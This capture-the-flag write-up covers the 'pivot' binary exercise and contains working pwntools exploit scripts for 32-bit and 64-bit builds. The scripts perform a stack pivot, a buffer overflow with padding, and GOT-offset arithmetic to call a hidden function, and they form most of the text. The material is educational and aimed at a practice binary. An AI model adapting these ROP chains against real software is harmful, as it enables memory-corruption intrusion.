pivot

Analysis

This binary was different than the other binaries we have seen so far, this one had 2 inputs to play with, as it involved pivoting. So the second buffer was the short buffer for pivoting and the first buffer was for bigger exploits chains.

The first buffer was there just to execute the pivoting as it only had space for 3 gadgets in total, which is very tight to play with, however we had gadgets to make it work.

Another catch in this binary was that we were supposed to call a function from an external library, the function itself was not present in the binary however one of the function was, which was enough to jump to the other function we wanted to i.e. ret2win.

The method we used to solve this one was same for both architectures -

  • Pivot to bigger space

  • Call the foot_hold function, to resolve the address for GOT

  • Get offset for the desired function

  • Add the offset to the foot_hold function GOT value

  • Call the function

32 bit

from pwn import *
context(log_level="INFO")

## 0x080488c0: pop eax; ret; 
## 0x080488c2: xchg eax, esp; ret; 
## 0x080488c4: mov eax, dword ptr [eax]; ret; 
## 0x08048571: pop ebx; ret;
## 0x080488c7: add eax, ebx; ret; 
## 0x080486a3: call eax; 

foot_hold_plt = 			0x080485f0
foot_hold_got = 			0x0804a024
puts_plt = 					0x080485d0
pop_eax = 					0x080488c0
pop_ebx = 					0x08048571
mov_eax = 					0x080488c4
xchng_eax_esp = 			0x080488c2
main_function = 			0x0804873b
add_eax_ebx =				0x080488c7
call_eax = 					0x080486a3

p = process("./pivot32")

## Get pivot address
p.recvuntil("pivot: ")
pivot_address = int(p.recv(10)[2:], 16)
log.success("Pivot Address - {}".format(hex(pivot_address)))

p.recvuntil("> ")
p.sendline(p32(foot_hold_plt) + p32(pop_eax) + p32(foot_hold_got) + p32(mov_eax) + p32(pop_ebx) + p32(0x1f7) + p32(add_eax_ebx) + p32(call_eax))
p.recvuntil("> ")
p.sendline("A"*44 + p32(pop_eax) + p32(pivot_address) + p32(xchng_eax_esp) )
p.recvuntil(".so")
log.success("FLAG - {}".format(p.recvuntil("}")))

64 bit

from pwn import *
context(log_level="INFO")

## 0x0000000000400b00: pop rax; ret; 
## 0x0000000000400b02: xchg rax, rsp; ret; 
## 0x0000000000400b73: pop rdi; ret; 

foot_hold_plt = 			0x400850
foot_hold_got = 			0x602048
puts_plt = 					0x400800
pop_eax = 					0x400b00
xchng_eax_esp = 			0x400b02
main_function = 			0x400996
pop_rdi = 					0x400b73
callrax = 					0x40098e
poprbp = 					0x400900
addrax = 					0x400b09
movrax = 					0x400b05
xchgret = 					0x400b02
poprax = 					0x400b00

p = process("./pivot")
gdb.attach(p)

## Get pivot address
p.recvuntil("pivot: ")
pivot_address = int(p.recv(14)[2:], 16)
log.success("Pivot Address - {}".format(hex(pivot_address)))

## Send chain for getting GOT address
p.recvuntil("> ")
p.sendline(p64(foot_hold_plt) + p64(poprax) + p64(foot_hold_got) + p64(movrax) + p64(poprbp) + p64(0x14e) + p64(addrax) + p64(callrax))
p.recvuntil("> ")
p.sendline("A"*40 + p64(pop_eax) + p64(pivot_address) + p64(xchng_eax_esp) )
p.recvuntil(".so")
log.success("FLAG - {}".format(p.recvuntil("}")))

Last updated